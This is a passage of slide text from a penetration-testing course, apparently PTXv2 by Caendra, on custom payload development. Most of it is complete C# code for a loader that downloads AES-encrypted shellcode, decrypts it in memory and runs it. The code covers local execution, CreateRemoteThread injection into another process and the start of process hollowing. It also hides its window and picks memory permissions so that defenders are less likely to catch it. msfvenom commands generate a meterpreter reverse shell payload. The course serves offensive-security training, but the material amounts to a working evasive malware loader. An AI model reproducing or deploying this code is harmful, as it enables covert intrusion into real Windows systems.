PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.150


1.11 Custom Payload Development

public static void PrintShellcode(byte[] shellcodeBytes)


{
StringBuilder shellcode = new StringBuilder();
shellcode.Append("byte[] shellcode = new byte[");
shellcode.Append(shellcodeBytes.Length);
shellcode.Append("] { ");
for (int i = 0; i < shellcodeBytes.Length; i++)
{
shellcode.Append("0x");
shellcode.AppendFormat("{0:x2}", shellcodeBytes[i]);
if (i < shellcodeBytes.Length - 1)
{
shellcode.Append(",");
}
}
shellcode.Append(" };");
Console.WriteLine(shellcode.ToString());
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.151


1.11 Custom Payload Development

public static void Main(string[] args)


{
if (args.Length == 0)
{
Console.WriteLine("[!] Usage: encrypt_shellcode_to_file FILE");
return;
}
byte[] shellcode = File.ReadAllBytes(args[0]);
string outputFile = args[0] + "_enc";
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] Shellcode Length: {0} Bytes", shellcode.Length);
byte[] shellcodeEncrypted = AES_Encrypt(shellcode, password);
Console.WriteLine("[+] Encrypted Shellcode Lenght: {0} Bytes", shellcodeEncrypted.Length);
File.WriteAllBytes(outputFile, shellcodeEncrypted);
Console.WriteLine("[>] Encrypted Shellcode Saved in {0}",outputFile);
PrintShellcode(shellcodeEncrypted);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.152


1.11 Custom Payload Development

Download and Decrypt


The downloader code will be modified to download and
decrypt the code in memory with the AES_Decrypt function
developed in the previous step.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.153


1.11 Custom Payload Development

At this point a new class


"Encrypt" will be created
from the previous code, in
this case only the function
AES_Decrypt will be added
from lines 10 to 34.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.154


1.11 Custom Payload Development

Program Class will have the


downloader function remaining the
same, but our main function will have
some changes:
• eShellcode in line 54 will host the
downloaded encrypted shellcode.
• dShellcode will host the decrypted
shellcode by calling the
AES_Decrypt function in Encrypt
class passing the eShellcode as
the first argument to the function
and the password to decrypt the
contents as the second argument
to the function.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.155
1.11 Custom Payload Development

For testing purposes we can create a local webserver in order to


test the functionality. Compile and test the code via:
# Local Web Server
~ python3 -m http.server 8080
# Compile via
~ csc 3_download_decrypt.cs
# Test via
~ mono 3_download_decrypt.exe <ENCRYPTED_SHELLCODE_URL>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.156


1.11 Custom Payload Development
Code:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;

public class Encrypt


{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.157


1.11 Custom Payload Development

using (MemoryStream ms = new MemoryStream())


{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.158


1.11 Custom Payload Development

public class Program


{
public static byte[] downloader(string shellcode_url)
{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Ignore Certificate Check, remove on production!
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-
ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.159


1.11 Custom Payload Development

public static void Main(string[] args)


{
string url = args[0];
byte[] eShellcode = downloader(url);
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
byte[] dShellcode = Encrypt.AES_Decrypt(eShellcode, password);
Console.WriteLine("[<] {0} Bytes Downloaded!", eShellcode.Length);
Console.WriteLine("[+] Decrypted shellcode size: {0}", dShellcode.Length);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.160


1.11 Custom Payload Development

Shellcode Execution
Downloading and decrypting shellcode has been achieved in the
previous steps. Now that the shellcode resides in memory it is
time to execute it.

The functions used for this will be VirtualAlloc to allocate space


for the shellcode in the virtual address of the process,
VirtualProtect to change the memory permissions, CreateThread
to execute the shellcode and WaitForSingleObject to wait for the
shellcode execution to finish.
Go to Slide 336 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.161
1.11 Custom Payload Development

A new class called Win32 will


be created from line 9 to 37
where all the Windows API
functions and variables
needed to execute the
shellcode will be defined.

This can be done with the


help of Pinvoke.net.
https://www.pinvoke.net/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.162
1.11 Custom Payload Development

A new function will be added to our Program class from the previous example, RunShellcode from lines 67-83.
This function will do the following:
• 70: Allocate memory to host the shellcode with PAGE_READWRITE permissions. It is important to avoid
allocate memory using PAGE_EXECUTE_READWRITE as this will increase the chances of getting caught by
defense solutions.
• 72: Copy the shellcode into the allocated memory
• 74-75: Change memory permissions to PAGE_EXECUTE_READ in order to be able to execute our shellcode.
• 77-82: It will create a new thread with the shellcode and wait for its execution to finish before exiting.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.163
1.11 Custom Payload Development

The main function will have a call to our new function


RunShellcode passing the decrypted shellcode as its first
argument.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.164


1.11 Custom Payload Development

The functionality can be tested by creating a meterpreter reverse tcp payload, encrypting it as
we have done previously with 2_aes_encryption.exe and passing the encrypted shellcode URL
as a first argument to our tool.

# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
4_download_decrypt_execute.exe <SHELLCODE_URL>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.165


1.11 Custom Payload Development
Code:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

public class Win32


{
// https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
public static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize,
UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.166


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.167


1.11 Custom Payload Development

public class Encrypt


{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.168


1.11 Custom Payload Development

using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))


{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.169


1.11 Custom Payload Development

public class Program


{
public static void RunShellcode(byte[] shellcode)
{
// Allocate process memory with PAGE_READWRITE permissions
UInt32 codeAddr = Win32.VirtualAlloc(0, (UInt32)shellcode.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
// Copy shellcode into the allocated memory
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// Change memory permissions to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtect((IntPtr)codeAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
// Execute shellcode
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = Win32.CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish
Win32.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.170


1.11 Custom Payload Development

public static byte[] downloader(string shellcode_url)


{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Ignore Certificate Check, remove on production!
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-
ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.171


1.11 Custom Payload Development

public static void Main(string[] args)


{
// Hide Process Window
var handle = Win32.GetConsoleWindow();
Win32.ShowWindow(handle, Win32.SW_HIDE);
string url = args[0];
byte[] shellcode = downloader(url);
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] {0} Bytes Downloaded!", shellcode.Length);
shellcode = Encrypt.AES_Decrypt(shellcode, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", shellcode.Length);
Console.WriteLine("[!] Executing shellcode!");
RunShellcode(shellcode);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.172


1.11 Custom Payload Development

CreateRemoteThread Shellcode Injection.


CreateRemoteThread function creates a thread that runs in
the virtual address space of another process. This should
solve the previous issue as the shellcode launcher process
will live only for downloading, decrypting and injecting into
another process the shellcode.

The functions used to achieve this injection are


OpenProcess, VirtualAllocEx, WriteProcessMemory,
VirtualProtectEx and CreateRemoteThread.
Go to Slide 337 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.173
1.11 Custom Payload Development

Create a new class Win32


defining the Windows API
Functions needed for the
CreateRemoteThread injection
program.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.174


1.11 Custom Payload Development
After adding the Encrypt class,
create a function that returns an int
named GetPid in our Program class.

This function will accept a process


name as its first argument, get all
running processes into a Process
array and iterate through them until
the name of a process matches with
the "procName" we passed as the
first argument.

Once we have a match, the Process


Id will be returned.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.175
1.11 Custom Payload Development

The next function, InjectShellcode will accept a byte array containing the decrypted shellcode and an integer
belonging to the remote process id where the shellcode will be injected. The function will:
• 96: Open a handle to the remote process
• 99: Allocate memory in the remote process with PAGE_READWRITE permissions
• 101: Write the shellcode into the allocated process memory
• 103-104: Change memory permissions to PAGE_EXECUTE_READ
• 106: Create a remote thread in the target process executing the injected shellcode.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.176


1.11 Custom Payload Development

The main function will need 2 arguments, the shellcode url and
the process name where the shellcode will be injected. It will
download and decrypt the shellcode, locate the process id using
GetPid function and inject the shellcode via InjectShellcode
function.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.177
1.11 Custom Payload Development

The same shellcode from the previous exercise can be used this time. We can see how after compiling and
executing the code with the shellcode url and the target process, the shellcode gets executed under
notepad.exe

# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
5_CreateRemoteThread_Shellcode_Injection.exe <SHELLCODE_URL> <PROCNAME>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.178


1.11 Custom Payload Development

Although stealthier than the previous technique, there is still


the need of knowing beforehand a process that will be
running on the target system that it won’t cause any alert or
suspicious behavior as the one observed in the target
process properties.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.179


1.11 Custom Payload Development
Code:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;

public class Win32


{
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.180


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.181


1.11 Custom Payload Development

// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
public class Encrypt
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.182


1.11 Custom Payload Development

using (RijndaelManaged AES = new RijndaelManaged())


{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.183


1.11 Custom Payload Development

class Program
{
public static int GetPid(string procName)
{
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.184


1.11 Custom Payload Development

public static void InjectShellcode(byte[] shellcode, int remoteProcId)


{
// Open the remote process
IntPtr hProcess = Win32.OpenProcess( Win32.PROCESS_CREATE_THREAD | Win32.PROCESS_QUERY_INFORMATION |
Win32.PROCESS_VM_OPERATION |
Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ, false, remoteProcId);
// Allocate memory with PAGE_READWRITE
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, Win32.MEM_COMMIT,
Win32.PAGE_READWRITE);
// Copy shellcode into allocated memory
Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
// Change memory permission to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out
oldProtect);
// Create a remote thread to execute shellcode
Win32.CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new
IntPtr(0));
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.185


1.11 Custom Payload Development

public static byte[] downloader(string shellcode_url)


{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Ignore Certificate Check, remove on production!
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-
ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.186


1.11 Custom Payload Development

public static void Main(string[] args)


{
// Hide Process Window
var handle = Win32.GetConsoleWindow();
Win32.ShowWindow(handle, Win32.SW_HIDE);
string url = args[0];
byte[] shellcode = downloader(url);
byte[] password = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("Sup3rS3cr3t!"));
Console.WriteLine("[<] {0} Bytes Downloaded!", shellcode.Length);
shellcode = Encrypt.AES_Decrypt(shellcode, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", shellcode.Length);
string procName = args[1];
int remoteProcId = GetPid(procName);
Console.WriteLine("[>] Injecting shellcode into {0} with PID {1}",procName, remoteProcId);
InjectShellcode(shellcode, remoteProcId);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.187


1.11 Custom Payload Development
Process Hollowing
Process Hollowing is a code injection technique which involves
creating a new legitimate process in suspended state. The
legitimate image is then unmapped and replaced with the image
of the process to be hidden. When the new image is loaded, the
EAX register of the suspended thread will be configured as the
entry point and to be executed when the process is resumed.

For the following example some parts of the process hollowing


will be omitted as the main goal is to inject shellcode into the
process. A full example can be observed here.
https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.188
1.11 Custom Payload Development

The main functions used will be:


• CreateProcessA: For creating the process into a suspended
state
• VirtualAllocEx: To allocate memory into the suspended
process.
• VirtualProtectEx: For changing permissions into the allocated
memory.
• WriteProcessMemory: Writing the shellcode into the allocated
memory
• CreateRemoteThread: To execute the shellcode
Go to Slide 337 and 338 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.189
1.11 Custom Payload Development
Create a new Win32 class where
the Windows API Functions will be
defined and their needed
structures and classes.
• L14-21: Contains the security
descriptor for an object.
• L23-30: Contains information
about a newly created process
and its primary thread.
• L33-54: Specifies the window
station, desktop, standard
handles, and appearance of the
main window for a process at
creation time.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.190
1.11 Custom Payload Development

L57-89: Process Creation Flags


used by CreateProcessA
Windows API Function.

https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.191


1.11 Custom Payload Development

Windows API
Functions used during
the process hollowing
are defined from lines
91-119.

From lines 120 to 131


we will define variables
used by Windows API
functions.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.192
1.11 Custom Payload Development
After adding the Encrypt Class with the
AES_Decrypt function, create a function
named Hollow in our Program class
accepting a target binary path as a string
and a byte array containing the shellcode.

This function will:


• L170: Create a process with the
target binary path in suspended state
• L174: Allocate memory for the
shellcode with PAGE_READWRITE
permissions
• L177: Copy the shellcode into the
allocated memory section.
• L180: Change memory permission to
PAGE_EXECUTE_READ.
• L183: Execute the shellcode via
CreateRemoteThread.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.193
1.11 Custom Payload Development

In this case, the main function has the payload shellcode url hardcoded into the "url" variable in
line 204 and the target binary "C:\Windows\System32\userinit.exe" hardcoded into the
targetBinary variable.

When the program its executed, it will download the encrypted shellcode, decrypt it in memory,
start the target binary in suspended state and create a remote thread with the shellcode.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.194
1.11 Custom Payload Development

When executed, the shellcode will be downloaded and decrypted in memory, a new process with the target
binary is created in suspended state and the shellcode will be injected in a new thread.

# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
6_Process_Hollowing.exe

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.195


1.11 Custom Payload Development
Code:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;

public class Win32


{
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDeshellcoderiptor = IntPtr.Zero;
public bool bInheritHandle = false;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.196


1.11 Custom Payload Development

public SecurityAttributes() { this.Length = Marshal.SizeOf(this); }


}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.197


1.11 Custom Payload Development

public IntPtr lpTitle = IntPtr.Zero;


public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;
public Int32 dwFlags = 0;
public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo() { this.cb = Marshal.SizeOf(this); }
}
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags
[Flags]
public enum CreateProcessFlags : uint

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.198


1.11 Custom Payload Development

{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.199


1.11 Custom Payload Development

PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
[DllImport("kernel32")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine,
SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, [In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.200


1.11 Custom Payload Development

// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
